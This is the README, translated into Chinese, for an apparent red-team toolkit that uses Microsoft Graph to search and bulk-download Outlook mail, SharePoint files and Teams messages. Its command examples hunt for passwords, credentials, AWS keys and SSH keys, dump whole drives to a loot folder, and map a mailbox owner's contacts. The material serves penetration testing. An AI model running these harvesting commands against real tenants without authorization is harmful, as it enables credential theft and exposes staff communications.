n3rada/msgraphx

# 🔭 msgraphX Microsoft Graph eXploitation 工具包。在红队行动和渗透测试中~~滥用~~（借用）[Microsoft Graph API](https://learn.microsoft.com/en-us/graph/overview) [SDK](https://github.com/microsoftgraph/msgraph-sdk-python) 来搜索并收集 SharePoint 文件、Outlook 邮件、Teams 消息以及 Microsoft 365 数据。 - **SharePoint**：跨所有站点搜索，按文件类型过滤，使用预定义的狩猎查询，批量下载 - **Outlook**：从邮箱构建通信图谱，KQL 关键字搜索，将邮件下载为 `.eml` 格式 - **Teams**：搜索私信和频道消息，浏览聊天记录，检查消息上下文 - **身份验证**：委托（通过 OAuth PKCE / [msauth-browser](https://github.com/n3rada/msauth-browser) 获取用户 token）和仅应用（client credentials / service principal） - **输出**：本地缓存搜索结果，JSON 导出，支持断点续传下载 ## 📦 安装 推荐使用 [`uv`](https://docs.astral.sh/uv/)，这是一款快速的 Python 包管理器，可以在隔离环境中安装工具。另外，使用 [`pipx`](https://pypa.github.io/pipx/) 或 `pip` 也可以。 ### 使用 [uv](https://docs.astral.sh/uv/) [`uv tool install`](https://docs.astral.sh/uv/guides/tools/#installing-tools) 会持久化安装该工具并将其添加到您的 `PATH` 中，类似于 `pipx`： **从 GitHub 安装（最新版）：** ``` uv tool install git+https://github.com/n3rada/msgraphx.git ``` 安装完成后，可以直接使用 `msgraphx`： ``` msgraphx --help ``` 后续升级命令： ``` uv tool upgrade msgraphx ``` ### 使用 pipx 或 pip ``` pipx install 'git+https://github.com/n3rada/msgraphx.git' ``` ``` pip install 'git+https://github.com/n3rada/msgraphx.git' ``` ## 🔑 身份验证 `msgraphx` 支持两种身份验证模式。 ### 委托（用户上下文） 任何代表用户执行操作的模块（例如 Outlook、以本人身份进行的 SharePoint 搜索）都需要此模式。 获取有效 token 最简单的方法是使用 [msauth-browser](https://github.com/n3rada/msauth-browser)，它会驱动真实的 Chromium 浏览器完成整个 OAuth PKCE 流程，并透明地处理 MFA、条件访问和验证码： ``` # 作为 Graph Explorer 认证并保存 token 到 .roadtools_auth msauth-browser --save roadtools ``` 然后从同一目录运行 `msgraphx` —— 它会自动获取 `.roadtools_auth`： ``` msgraphx outlook contacts ``` 或者，直接传递 token 或通过环境变量传递： ``` # 通过 flag msgraphx --access-token outlook contacts # 通过 env var export ACCESS_TOKEN= msgraphx outlook contacts ``` ### 应用程序（仅应用） 用于仅应用流程（具有 client credentials 的 service principal）： ``` msgraphx --tenant-id --client-id --client-secret sp search "password" ``` 或通过环境变量： ``` export TENANT_ID= export CLIENT_ID= export CLIENT_SECRET= msgraphx sp search "password" ``` ## ⚔️ 模块 ### 📧 Outlook #### 联系人（关系图谱） 从您的邮箱构建完整的通信图谱。默认情况下，会分析四个排名表中的已发送和已接收邮件： - 📤 **发送 → 收件人**：您最常直接发送邮件的对象 - 📤 **发送 → 抄送**：您最常抄送的对象 - 📥 **接收 → 作为收件人**：最常直接给您发送邮件的人 - 📥 **接收 → 作为抄送**：最常抄送您的人 ``` msgraphx outlook contacts # 或 msgraphx mail contacts ``` 仅限制为已发送或已接收： ``` msgraphx mail contacts --only sent msgraphx mail contacts --only received ``` 获取不受时间限制的所有内容： ``` msgraphx mail contacts --all ``` 限制为最近 90 天并显示前 50 名： ``` msgraphx mail contacts --after 90d --top 50 ``` 将完整的排名列表保存为 JSON： ``` msgraphx mail contacts --save /tmp/contacts.json ``` #### 搜索 使用 KQL 搜索您的邮箱。最多流式传输 1000 条结果（Exchange API 上限）： ``` msgraphx outlook search "password" msgraphx outlook search --from alice@corp.com msgraphx outlook search --subject "VPN" --has-attachments msgraphx outlook search "credentials" --after 90d ``` 结果会缓存在本地（`~/.local/share/msgraphx/last_mail.json`）。 #### 下载 从上次搜索的结果中将特定邮件下载为 `.eml` 文件： ``` # 首先，搜索 msgraphx outlook search "password" # 1. RE: VPN config alice@corp.com 2025-03-12 # 2. FW: passwords bob@corp.com 2025-01-08 # 然后，通过 index 下载 msgraphx outlook download 1 msgraphx outlook download 1,2 msgraphx outlook download 1-5 --save /tmp/loot/ ``` `.eml` 文件可以在大多数邮件客户端中直接打开。 ### 🏢 SharePoint #### 搜索 在 SharePoint 中搜索任何内容。默认范围为最近一年： ``` msgraphx sp search "password" ``` 按文件类型过滤： ``` msgraphx sp search --filetype pdf msgraphx sp search -f docx "confidential" ``` 使用预定义的狩猎查询： ``` msgraphx sp search --hunt credentials msgraphx sp search --hunt ssh --all msgraphx sp search --hunt office --after 90d ``` 仅在你自己的 Microsoft 365 组内搜索： ``` msgraphx sp search "password" --my-groups ``` 将所有结果保存到磁盘： ``` msgraphx sp search --hunt credentials --save /tmp/loot/ ``` #### 下载 根据索引从上次搜索的结果中下载特定文件： ``` # 首先，搜索 msgraphx sp search "Itron" --filetype pdf # 1. Itron_Report_2024.pdf jsmith 2.1 MB 2024-11-03 # 2. Itron_Specs.pdf jdoe 840 KB 2024-09-15 # 3. Itron_Invoice.pdf admin 120 KB 2025-01-20 # 然后，通过 index 下载 msgraphx sp download 2 msgraphx sp download 1,3 msgraphx sp download 1-3 ``` 每次搜索都会在本地缓存结果（`~/.local/share/msgraphx/last_sharepoint.json`）。新的搜索始终会覆盖之前的缓存。 下载到指定目录： ``` msgraphx sp download 1-3 --save /tmp/loot/ ``` 完整驱动器转储（需要 `--drive-id`）： ``` msgraphx --drive-id sp download --save /tmp/loot/ ``` 恢复中断的下载（默认行为，跳过已存在且大小匹配的文件）： ``` msgraphx --drive-id sp download --save /tmp/loot/ ``` 强制重新下载所有内容： ``` msgraphx --drive-id sp download --no-resume --save /tmp/loot/ ``` ### 💬 Teams 需要委托身份验证。这两个子命令都使用 `POST /search/query`（`EntityType.ChatMessage`），除了 `Chat.Read` 之外，还需要 **`ChannelMessage.Read.All`**（需管理员同意）。 #### 聊天（私信） 搜索一对一私信和群聊： ``` # 关键词搜索 msgraphx teams chat "password" msgraphx teams chat "vpn credentials" # 发件人筛选（client-side） msgraphx teams chat "budget" --from alice # 日期范围 msgraphx teams chat "aws key" --after 90d msgraphx teams chat "deploy" --after 2024-01-01 --before 2024-06-01 # 通配符：返回所有内容 msgraphx teams chat ``` 结果会缓存在本地（`~/.local/share/msgraphx/last_teams.json`）。 #### 频道（工作区频道） 搜索您有权访问的所有 Teams 频道中的消息： ``` msgraphx teams channel "password" msgraphx teams channel "from:alice@corp.com" msgraphx teams channel "incident" --after 30d ``` KQL 会直接传递给 Search API，因此任何有效的 KQL 表达式都可以使用： ``` msgraphx teams channel "subject:deployment AND azure" ``` #### 展示 显示缓存结果周围的上下文，或直接浏览命名的聊天。该参数会自动检测模式：数字/范围将打开缓存，任何其他字符串将查找聊天。 ``` # 缓存结果（上次搜索的 index） msgraphx teams show 3 msgraphx teams show 1-5 msgraphx teams show 2 --context 8 # 浏览命名 chat（匹配 topic 或成员名称，默认最后 20 个） msgraphx teams show alice msgraphx teams show "project phoenix" --last 50 msgraphx teams show alice --last 5 ``` ## 🔬 Graph Explorer [Graph Explorer](https://developer.microsoft.com/en-us/graph/graph-explorer) 是微软的交互式 API 沙盒。它允许您对 Graph API 运行实时查询、检查原始响应，并通过 *Code snippets* 选项卡为任何请求生成可直接粘贴的 **Python SDK 代码片段**。 在将其实现为模块之前，可以使用它来构建查询原型，或者准确了解响应中包含哪些字段。

标签：Microsoft Graph, Python, 信息窃取, 数据泄露, 无后门, 逆向工具